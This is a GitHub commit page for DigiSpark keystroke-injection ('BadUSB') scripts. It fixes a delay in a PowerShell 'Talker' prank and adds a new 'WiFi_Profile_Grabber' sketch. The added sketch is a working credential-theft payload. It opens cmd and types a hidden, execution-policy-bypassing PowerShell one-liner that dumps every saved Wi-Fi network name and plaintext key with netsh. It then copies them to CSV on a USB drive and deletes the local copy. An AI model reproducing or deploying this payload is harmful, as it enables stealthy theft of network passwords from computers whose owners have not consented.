Skip to content

Commit

Permalink
Fixed Talker and added Wifi grabber
Browse files Browse the repository at this point in the history
Talker : Added longer delay to wait for powershell to open

WiFi_Profile_Grabber: Using cmd, extracts wifi profiles and saves the
csv to the usb mounted on d:\
  • Loading branch information
CedArctic committed Apr 28, 2017
1 parent c44c87c commit 592505e
Show file tree
Hide file tree
Showing 2 changed files with 33 additions and 1 deletion.
2 changes: 1 addition & 1 deletion Talker/Talker.ino
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ void loop() {
DigiKeyboard.delay(100);
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(200);
DigiKeyboard.delay(3000);
DigiKeyboard.print("Add-Type -AssemblyName System.speech");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
Expand Down
32 changes: 32 additions & 0 deletions WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
//This DigiSpark script writes the wireless network credentials to a csv file in a usb mounted at d:\ - change accordingly.
//Credits to p0wc0w.
#include "DigiKeyboard.h"
void setup() {
}

void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\" "));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("copy temp.csv d:\\"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("del temp.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}

0 comments on commit 592505e

Please sign in to comment.